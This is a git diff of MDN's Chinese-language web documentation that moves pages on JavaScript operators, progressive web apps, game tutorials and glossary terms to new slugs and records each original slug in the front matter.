    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html index 917ac03b06..a89cf74368 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html @@ -1,11 +1,12 @@ --- title: 算术运算符 -slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators +slug: conflicting/Web/JavaScript/Reference/Operators tags: - JavaScript - Operator translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators +original_slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html index 5ddf85f426..ae8635cf42 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html @@ -1,11 +1,13 @@ --- title: 比较操作符 -slug: Web/JavaScript/Reference/Operators/Comparison_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23 tags: - 严格比较操作符 - 比较操作符 translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators +original_slug: Web/JavaScript/Reference/Operators/Comparison_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html index 4bdd7a1bc7..63e6b408a0 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html @@ -1,10 +1,12 @@ --- title: 按位操作符 -slug: Web/JavaScript/Reference/Operators/Bitwise_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560 tags: - js ^ & Bitwise Operators translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators +original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html index 66ae471cde..0312efc731 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html @@ -1,11 +1,13 @@ --- title: 赋值运算符 -slug: Web/JavaScript/Reference/Operators/Assignment_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e tags: - JavaScript - 运算符 translation_of: Web/JavaScript/Reference/Operators#Assignment_operators translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators +original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html index 5615e17d45..82b19641ea 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html @@ -1,12 +1,14 @@ --- title: 逻辑运算符 -slug: Web/JavaScript/Reference/Operators/Logical_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca tags: - JavaScript - 操作符 - 逻辑 translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators +original_slug: Web/JavaScript/Reference/Operators/Logical_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html index 12e076166c..21d8c25aa3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html @@ -1,11 +1,12 @@ --- title: default -slug: Web/JavaScript/Reference/Statements/default +slug: conflicting/Web/JavaScript/Reference/Statements/switch tags: - JavaScript - Keyword translation_of: Web/JavaScript/Reference/Statements/switch translation_of_original: Web/JavaScript/Reference/Statements/default +original_slug: Web/JavaScript/Reference/Statements/default ---
    {{jsSidebar("Statements")}}
    diff --git a/files/zh-cn/conflicting/web/media/formats/index.html b/files/zh-cn/conflicting/web/media/formats/index.html index d6a5d3753e..db84bd92bd 100644 --- a/files/zh-cn/conflicting/web/media/formats/index.html +++ b/files/zh-cn/conflicting/web/media/formats/index.html @@ -1,10 +1,11 @@ --- -title: 'HTML的媒体支持:audio和video元素' -slug: Web/HTML/Supported_media_formats +title: HTML的媒体支持:audio和video元素 +slug: conflicting/Web/Media/Formats tags: - HTML Media Video Audio translation_of: Web/Media/Formats translation_of_original: Web/HTML/Supported_media_formats +original_slug: Web/HTML/Supported_media_formats ---

        {{HTMLElement("audio")}} 和 {{HTMLElement("video")}}是浏览器内置的播放音频或视频的元素;视频和音频编解码器用来处理视频和音频,不同的编解码器提供不同级别的压缩率和分辨率;一个容器封装格式(多媒体容器格式)用来存储和传输编码后的视频和音频(如果视频带有音轨则同时;编解码器和多媒体容器格式有非常多的组合;尽管只有很少部分和WEB相关;
       
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/index.html index ca256085b4..aa326758ce 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/index.html @@ -1,8 +1,9 @@ --- title: 响应式设计 -slug: Web_Development/Mobile/Responsive_design +slug: conflicting/Web/Progressive_web_apps translation_of: Web/Progressive_web_apps translation_of_original: Web/Guide/Responsive_design +original_slug: Web_Development/Mobile/Responsive_design ---

    在解决对桌面和移动环境开发网站这个问题上,与分离网站的方法相反,一种相对较新(其实相当古老)的方法渐渐流行起来:摒弃用户代理检测,而是在客户端根据浏览器的能力进行页面变化。这种方法最早是由Ethan Marcotte在他为A List Apart所写的文章中提出的,也就是我们所熟知的响应式设计。和分离网站设计方式一样,响应式设计也有自己的优势和弊端。

    优势

    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html index 809b1edb38..a84a3e5421 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html @@ -1,8 +1,9 @@ --- title: 渐进式webApp优势 -slug: Web/Progressive_web_apps/优势 +slug: conflicting/Web/Progressive_web_apps/Introduction translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications translation_of_original: Web/Progressive_web_apps/Advantages +original_slug: Web/Progressive_web_apps/优势 ---

    以下是渐进式webApp所有的优势清单

    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html index 3177fc1c29..be5d77a388 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html @@ -1,6 +1,7 @@ --- title: Responsive design -slug: Web/Progressive_web_apps/Responsive +slug: >- + conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks tags: - Media Queries - PWA @@ -9,6 +10,7 @@ tags: - viewport translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks translation_of_original: Web/Progressive_web_apps/Responsive +original_slug: Web/Progressive_web_apps/Responsive ---
    响应式Web应用使用媒体查询和viewport等技术,以确保它们的页面适配任何设备,比如:桌面、移动手机、平板,或者其他新的设备。
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html index 4b8b532173..5c0b464a8c 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html @@ -1,6 +1,6 @@ --- title: 网络独立 -slug: Web/Progressive_web_apps/Network_independent +slug: conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f tags: - Application Shell - IndexedDB @@ -11,6 +11,7 @@ tags: - localStorage translation_of: Web/Progressive_web_apps translation_of_original: Web/Progressive_web_apps/Network_independent +original_slug: Web/Progressive_web_apps/Network_independent ---
    当网络不可靠,甚至不存在时,现代网络应用程序仍可以工作。没有更多的空白连接错误页面或恐龙穿过沙漠。除了离线高速缓存和服务工作者之外,UI和内容之间的一个明确的分隔可让您存储应用程序的数据和核心资产,以备将来使用。
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html index 0ff507d2e6..8e7ebe12ef 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html @@ -1,6 +1,6 @@ --- title: Re-engageable -slug: Web/Progressive_web_apps/Re-engageable +slug: conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 tags: - Modern web apps - Notifications API @@ -9,6 +9,7 @@ tags: - Service Workers translation_of: Web/Progressive_web_apps translation_of_original: Web/Progressive_web_apps/Re-engageable +original_slug: Web/Progressive_web_apps/Re-engageable ---
    原生平台一个主要优势是,用户可以轻松通过更新或加载新内容,即使用户没有正在查看应用程序或者使用他们的设备。现在的Web应用程序现在也可以使用Web Push API等技术实现这样的功能。
    diff --git a/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html index 0d92962112..2037b78ce1 100644 --- a/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html +++ b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html @@ -1,6 +1,6 @@ --- title: 影子DOM(Shadow DOM) -slug: Web/Web_Components/影子_DOM +slug: conflicting/Web/Web_Components/Using_shadow_DOM tags: - DocumentFragment - React @@ -9,6 +9,7 @@ tags: - shadow dom translation_of: Web/Web_Components/Using_shadow_DOM translation_of_original: Web/Web_Components/Shadow_DOM +original_slug: Web/Web_Components/影子_DOM ---

    {{ draft }}

    diff --git a/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html index 77433ca2d5..4225c159b8 100644 --- a/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html +++ b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -1,6 +1,6 @@ --- title: Using XPath -slug: Using_XPath +slug: conflicting/Web/XPath/Introduction_to_using_XPath_in_JavaScript tags: - AJAX - Code snippets @@ -11,6 +11,7 @@ tags: - 所有分类 translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript translation_of_original: Using_XPath +original_slug: Using_XPath ---

    XPath is a language for addressing parts of an XML document. It is a W3C recommendation. diff --git a/files/zh-cn/games/introduction/index.html b/files/zh-cn/games/introduction/index.html index 67ffed62c0..681cd69958 100644 --- a/files/zh-cn/games/introduction/index.html +++ b/files/zh-cn/games/introduction/index.html @@ -1,11 +1,12 @@ --- title: Web 游戏开发简介 -slug: Games/简介 +slug: Games/Introduction tags: - 指引 - 游戏 - 移动端 translation_of: Games/Introduction +original_slug: Games/简介 ---

    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/introduction_to_html5_game_development/index.html b/files/zh-cn/games/introduction_to_html5_game_development/index.html index 6d5cd2014a..10ff0e76e8 100644 --- a/files/zh-cn/games/introduction_to_html5_game_development/index.html +++ b/files/zh-cn/games/introduction_to_html5_game_development/index.html @@ -1,10 +1,11 @@ --- title: HTML5游戏开发简介 -slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) +slug: Games/Introduction_to_HTML5_Game_Development tags: - Games - HTML5 translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) +original_slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) ---
    {{GamesSidebar}}
    {{IncludeSubnav("/zh-CN/docs/Games")}}
    diff --git a/files/zh-cn/games/publishing_games/game_monetization/index.html b/files/zh-cn/games/publishing_games/game_monetization/index.html index 5ab915f6b3..741fcf5e8d 100644 --- a/files/zh-cn/games/publishing_games/game_monetization/index.html +++ b/files/zh-cn/games/publishing_games/game_monetization/index.html @@ -1,12 +1,13 @@ --- title: 游戏货币化 -slug: Games/Publishing_games/游戏货币化 +slug: Games/Publishing_games/Game_monetization tags: - 推广 - 收入 - 游戏 - 销售 translation_of: Games/Publishing_games/Game_monetization +original_slug: Games/Publishing_games/游戏货币化 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html index e9a9abaf15..becd3c6bd3 100644 --- a/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html +++ b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html @@ -1,7 +1,8 @@ --- title: 移动端触摸控制 -slug: Games/Techniques/Control_mechanisms/移动端触摸控制 +slug: Games/Techniques/Control_mechanisms/Mobile_touch translation_of: Games/Techniques/Control_mechanisms/Mobile_touch +original_slug: Games/Techniques/Control_mechanisms/移动端触摸控制 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html index baa5a514fc..166eea053e 100644 --- a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html @@ -1,6 +1,6 @@ --- title: 收尾工作 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up tags: - Canvas - JavaScript @@ -10,6 +10,7 @@ tags: - 游戏 - 生命 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up +original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html index cb90cb8773..26858b378d 100644 --- a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html @@ -1,6 +1,6 @@ --- title: 鼠标控制 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls tags: - Canvas - JavaScript @@ -10,6 +10,7 @@ tags: - 游戏 - 鼠标 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/glossary/abstraction/index.html b/files/zh-cn/glossary/abstraction/index.html index a7497bdc94..852893d5ab 100644 --- a/files/zh-cn/glossary/abstraction/index.html +++ b/files/zh-cn/glossary/abstraction/index.html @@ -1,6 +1,6 @@ --- title: 抽象编程 -slug: Glossary/抽象编程 +slug: Glossary/Abstraction tags: - 名词解释 - 抽象 @@ -8,6 +8,7 @@ tags: - 编程脚本 - 编程语言 translation_of: Glossary/Abstraction +original_slug: Glossary/抽象编程 ---

    在计算机编程{{Glossary("computer programming")}}领域中,抽象编程指在研发大型复杂软件系统时,通过抽象的方法来降低编程复杂度,实现系统快速高效设计和开发的编程模式。它将系统各功能实现的技术细节隐藏在相对简单的 {{Glossary("API", "APIs")}}之后。

    diff --git a/files/zh-cn/glossary/algorithm/index.html b/files/zh-cn/glossary/algorithm/index.html index 8dcea73131..205c1f0b1d 100644 --- a/files/zh-cn/glossary/algorithm/index.html +++ b/files/zh-cn/glossary/algorithm/index.html @@ -1,10 +1,11 @@ --- title: 算法 -slug: Glossary/算法 +slug: Glossary/Algorithm tags: - 专业术语 - 编程基础 translation_of: Glossary/Algorithm +original_slug: Glossary/算法 ---

    算法是一个良定义的具体计算步骤的一个序列。

    diff --git a/files/zh-cn/glossary/arpa/index.html b/files/zh-cn/glossary/arpa/index.html index 8c30be2d15..034696aa1b 100644 --- a/files/zh-cn/glossary/arpa/index.html +++ b/files/zh-cn/glossary/arpa/index.html @@ -1,10 +1,11 @@ --- title: ARPA -slug: Glossary/地址路由参数域 +slug: Glossary/ARPA tags: - 专业术语 - 互联网服务基础设施 translation_of: Glossary/ARPA +original_slug: Glossary/地址路由参数域 ---

    .arpa (address and routing parameter area, 地址路由参数域 ) 是专门用来互联网基础设施配置的顶级域{{glossary("TLD","top-level domain")}} ,尤其是DNS反向解析,即从 {{glossary("IP 地址")}})找出旗下的主机名(i.e., find the {{glossary('domain name')}} 。

    diff --git a/files/zh-cn/glossary/asynchronous/index.html b/files/zh-cn/glossary/asynchronous/index.html index 0bc0353e3d..f00cce8b20 100644 --- a/files/zh-cn/glossary/asynchronous/index.html +++ b/files/zh-cn/glossary/asynchronous/index.html @@ -1,10 +1,11 @@ --- title: 异步 -slug: Glossary/异步 +slug: Glossary/Asynchronous tags: - 异步 - 术语表 translation_of: Glossary/Asynchronous +original_slug: Glossary/异步 ---

    异步两个或两个以上的对象或事件同时存在或发生(或多个相关事物的发生无需等待其前一事物的完成)。在计算机技术中,"异步"一词被用于两大语境。

    diff --git a/files/zh-cn/glossary/base64/index.html b/files/zh-cn/glossary/base64/index.html index 5da5d1e0f4..167f92aafc 100644 --- a/files/zh-cn/glossary/base64/index.html +++ b/files/zh-cn/glossary/base64/index.html @@ -1,7 +1,8 @@ --- title: Base64的编码与解码 -slug: Web/API/WindowBase64/Base64_encoding_and_decoding +slug: Glossary/Base64 translation_of: Glossary/Base64 +original_slug: Web/API/WindowBase64/Base64_encoding_and_decoding ---

    Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

    diff --git a/files/zh-cn/glossary/baseline/index.html b/files/zh-cn/glossary/baseline/index.html index 2158190685..12a262a0fd 100644 --- a/files/zh-cn/glossary/baseline/index.html +++ b/files/zh-cn/glossary/baseline/index.html @@ -1,7 +1,8 @@ --- title: 基线 -slug: Glossary/基线 +slug: Glossary/baseline translation_of: Glossary/baseline +original_slug: Glossary/基线 ---

    基线是指欧洲和西亚文字排版中,用于在上面放置字符的一条假象的基准线。

    diff --git a/files/zh-cn/glossary/browser/index.html b/files/zh-cn/glossary/browser/index.html index a52951c1b7..f3467d5f07 100644 --- a/files/zh-cn/glossary/browser/index.html +++ b/files/zh-cn/glossary/browser/index.html @@ -1,7 +1,8 @@ --- title: 浏览器 -slug: Glossary/浏览器 +slug: Glossary/Browser translation_of: Glossary/Browser +original_slug: Glossary/浏览器 ---

    网页浏览器是一种从 {{Glossary("World Wide Web","Web")}} 获取和显示页面的程序,并且让用户通过 {{Glossary("hyperlink","超链接")}} 访问更多页面。

    diff --git a/files/zh-cn/glossary/card_sorting/index.html b/files/zh-cn/glossary/card_sorting/index.html index 9d5a3c4ff5..392fe3038e 100644 --- a/files/zh-cn/glossary/card_sorting/index.html +++ b/files/zh-cn/glossary/card_sorting/index.html @@ -1,11 +1,12 @@ --- title: 卡片分类法 -slug: Glossary/卡片分类法 +slug: Glossary/Card_sorting tags: - 卡片分类法 - 名称 - 设计 translation_of: Glossary/Card_sorting +original_slug: Glossary/卡片分类法 ---

    卡片分类法是一种简单的技巧 ,{{glossary("Information architecture")}} 通常是邀请参与网站开发的设计师(或是开发其他类型产品的人),让他们写下他们认为这个产品应当包含的内容、服务和功能,然后将这些功能分组。一个很好的例子是考虑网站上每个页面应当显示什么样的内容。这个名字源于这个分类是通过把要分类的项目写在卡片上,再通过排列卡片完成的。

    diff --git a/files/zh-cn/glossary/character_encoding/index.html b/files/zh-cn/glossary/character_encoding/index.html index 40dbc7ca8a..30100d3032 100644 --- a/files/zh-cn/glossary/character_encoding/index.html +++ b/files/zh-cn/glossary/character_encoding/index.html @@ -1,10 +1,11 @@ --- title: Character encoding(字符编码) -slug: Glossary/字符编码 +slug: Glossary/character_encoding tags: - 术语 - 术语表 translation_of: Glossary/character_encoding +original_slug: Glossary/字符编码 ---

    一套编码系统定义字节与文本间的映射。一连串字节文本能让不同文本解释得以进行。我们指明一套特定编码系统时(如 UTF-8),也就指明了字节得以解释的方式。

    diff --git a/files/zh-cn/glossary/compile/index.html b/files/zh-cn/glossary/compile/index.html index 0e11863653..0c25619c9e 100644 --- a/files/zh-cn/glossary/compile/index.html +++ b/files/zh-cn/glossary/compile/index.html @@ -1,7 +1,8 @@ --- title: 编译 -slug: Glossary/编译 +slug: Glossary/Compile translation_of: Glossary/Compile +original_slug: Glossary/编译 ---

    编译是将相同的程序从一种计算机程序语言转换到另一种语言计算机语言的过程。编译器是运行上述任务的软件。有时候,任务也被称为“汇编”或“构建”,这通常表示不仅仅编译完成,例如,用二进制格式进行打包。

    diff --git a/files/zh-cn/glossary/compile_time/index.html b/files/zh-cn/glossary/compile_time/index.html index 8c94f6fa5f..fee2476d44 100644 --- a/files/zh-cn/glossary/compile_time/index.html +++ b/files/zh-cn/glossary/compile_time/index.html @@ -1,7 +1,8 @@ --- title: 编译时间 -slug: Glossary/编译时间 +slug: Glossary/Compile_time translation_of: Glossary/Compile_time +original_slug: Glossary/编译时间 ---

    编译时间是指程序从被加载到程序被解析完成所用的时间。

    diff --git a/files/zh-cn/glossary/cross_axis/index.html b/files/zh-cn/glossary/cross_axis/index.html index 27412c4d85..63d0665cce 100644 --- a/files/zh-cn/glossary/cross_axis/index.html +++ b/files/zh-cn/glossary/cross_axis/index.html @@ -1,7 +1,8 @@ --- title: 交叉轴 -slug: Glossary/交叉轴 +slug: Glossary/Cross_Axis translation_of: Glossary/Cross_Axis +original_slug: Glossary/交叉轴 ---

    弹性容器 {{glossary("flexbox")}} 的交叉轴和主轴 {{glossary("main axis")}} 垂直,因此如果弹性方向是 {{cssxref("flex-direction")}} 行 row 或者反向行 row-reverse ,那么交叉轴就是从上至下地垂直走向的。

    diff --git a/files/zh-cn/glossary/database/index.html b/files/zh-cn/glossary/database/index.html index d26907d711..5b0c1a3082 100644 --- a/files/zh-cn/glossary/database/index.html +++ b/files/zh-cn/glossary/database/index.html @@ -1,9 +1,10 @@ --- title: 数据库 -slug: Glossary/数据库 +slug: Glossary/Database tags: - 数据库 translation_of: Glossary/Database +original_slug: Glossary/数据库 ---

    数据库是一种用于收集已组织好的数据以便于搜索、结构化和扩充的存储系统。

    diff --git a/files/zh-cn/glossary/dhtml/index.html b/files/zh-cn/glossary/dhtml/index.html index c04ab59714..eac83d1582 100644 --- a/files/zh-cn/glossary/dhtml/index.html +++ b/files/zh-cn/glossary/dhtml/index.html @@ -1,7 +1,8 @@ --- title: DHTML -slug: DHTML +slug: Glossary/DHTML translation_of: Glossary/DHTML +original_slug: DHTML ---

    1、DHTML 对象 !DOCTYPE 指定了 HTML 文档遵循的文档类型定义(DTD)。

    a 标明超链接的起始或目的位置。

    diff --git a/files/zh-cn/glossary/digital_certificate/index.html b/files/zh-cn/glossary/digital_certificate/index.html index 0f6702c480..297334bfc6 100644 --- a/files/zh-cn/glossary/digital_certificate/index.html +++ b/files/zh-cn/glossary/digital_certificate/index.html @@ -1,7 +1,8 @@ --- title: 数字证书 -slug: Glossary/数字证书 +slug: Glossary/Digital_certificate translation_of: Glossary/Digital_certificate +original_slug: Glossary/数字证书 ---

    数字证书是一个将公开的{{Glossary("Key", "加密密钥")}}和一个组织绑定的数据文件。 一个数字证书包含一个组织的信息,如公共名称(例如mozilla.org),组织单元(例如Mozilla Corporation)以及位置(例如Mountain View)。数字证书通常由{{Glossary("certificate authority")}}签署,以证明其真实性。

    diff --git a/files/zh-cn/glossary/domain_name/index.html b/files/zh-cn/glossary/domain_name/index.html index cb88cc041b..8aea5446be 100644 --- a/files/zh-cn/glossary/domain_name/index.html +++ b/files/zh-cn/glossary/domain_name/index.html @@ -1,7 +1,8 @@ --- title: 域名 -slug: Glossary/域名 +slug: Glossary/Domain_name translation_of: Glossary/Domain_name +original_slug: Glossary/域名 ---

    域名是在 {{Glossary("Internet", "互联网")}} 的网站的地址。域名被用于 {{Glossary("URL","URL")}} 识别一个服务器属于哪个特定的网站。域名包含由句号点(”.“)分隔的名称(标签)的分级序列并以 {{glossary("TLD","扩展名")}} 作为结尾。

    diff --git a/files/zh-cn/glossary/element/index.html b/files/zh-cn/glossary/element/index.html index d199da5b07..c5ac84aedb 100644 --- a/files/zh-cn/glossary/element/index.html +++ b/files/zh-cn/glossary/element/index.html @@ -1,12 +1,13 @@ --- title: Element(元素) -slug: Glossary/元素 +slug: Glossary/Element tags: - HTML - XML - 术语 - 编程 translation_of: Glossary/Element +original_slug: Glossary/元素 ---

    元素是网页的一部分,在 {{glossary("XML")}} 和 {{glossary("HTML")}} 中,一个元素可以包含一个数据项,或是一块文本,或是一张照片,亦或是什么也不包含。 一个典型的元素包括一个具有一些{{glossary("attribute", "属性")}}的开始标签,中间的文本内容和一个结束标签。
    Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

    diff --git a/files/zh-cn/glossary/empty_element/index.html b/files/zh-cn/glossary/empty_element/index.html index 6d9fb8d229..38fd275e74 100644 --- a/files/zh-cn/glossary/empty_element/index.html +++ b/files/zh-cn/glossary/empty_element/index.html @@ -1,11 +1,12 @@ --- title: 空元素 -slug: Glossary/空元素 +slug: Glossary/Empty_element tags: - Glossary - 中级 - 词汇 translation_of: Glossary/Empty_element +original_slug: Glossary/空元素 ---

    一个空元素(empty element)可能是 HTML,SVG,或者 MathML 里的一个不能存在子节点(例如内嵌的元素或者元素内的文本)的{{Glossary("element")}}。

    diff --git a/files/zh-cn/glossary/forbidden_header_name/index.html b/files/zh-cn/glossary/forbidden_header_name/index.html index 6e14c9b0a1..022d54690f 100644 --- a/files/zh-cn/glossary/forbidden_header_name/index.html +++ b/files/zh-cn/glossary/forbidden_header_name/index.html @@ -1,7 +1,8 @@ --- title: 禁止修改的消息首部 -slug: Glossary/禁止修改的消息首部 +slug: Glossary/Forbidden_header_name translation_of: Glossary/Forbidden_header_name +original_slug: Glossary/禁止修改的消息首部 ---

    禁止修改的消息首部指的是不能在代码中通过编程的方式进行修改的HTTP协议消息首部。本文仅讨论相关的HTTP请求首部(关于禁止修改的响应首部,请参考 {{Glossary("Forbidden response header name")}})。

    diff --git a/files/zh-cn/glossary/general_header/index.html b/files/zh-cn/glossary/general_header/index.html index acb1f99edf..6c03d3605a 100644 --- a/files/zh-cn/glossary/general_header/index.html +++ b/files/zh-cn/glossary/general_header/index.html @@ -1,10 +1,11 @@ --- title: General header(通用首部) -slug: Glossary/通用首部 +slug: Glossary/General_header tags: - HTTP - 术语 translation_of: Glossary/General_header +original_slug: Glossary/通用首部 ---

    通用首部指的是可以应用于请求和响应中,但是不能应用于消息内容自身的 {{glossary('Header', 'HTTP 首部')}} 。 取决于应用的上下文环境,通用首部可以是{{glossary("Response header", "响应头部")}}或者{{glossary("request header", "请求头部")}}。但是不可以是{{glossary("entity header", "实体头部")}}。

    diff --git a/files/zh-cn/glossary/graceful_degradation/index.html b/files/zh-cn/glossary/graceful_degradation/index.html index acd22a665e..2982cc0074 100644 --- a/files/zh-cn/glossary/graceful_degradation/index.html +++ b/files/zh-cn/glossary/graceful_degradation/index.html @@ -1,11 +1,12 @@ --- title: Graceful degradation(优雅降级) -slug: Glossary/优雅降级 +slug: Glossary/Graceful_degradation tags: - 优雅降级 - 设计 - 词汇表 translation_of: Glossary/Graceful_degradation +original_slug: Glossary/优雅降级 ---

    优雅降级(Graceful degradation)是一种设计理念,其核心是尝试构建可在最新浏览器中运行的现代网站/应用程序,而作为降级体验,在低版本浏览器中仍然提供必要的内容和功能。

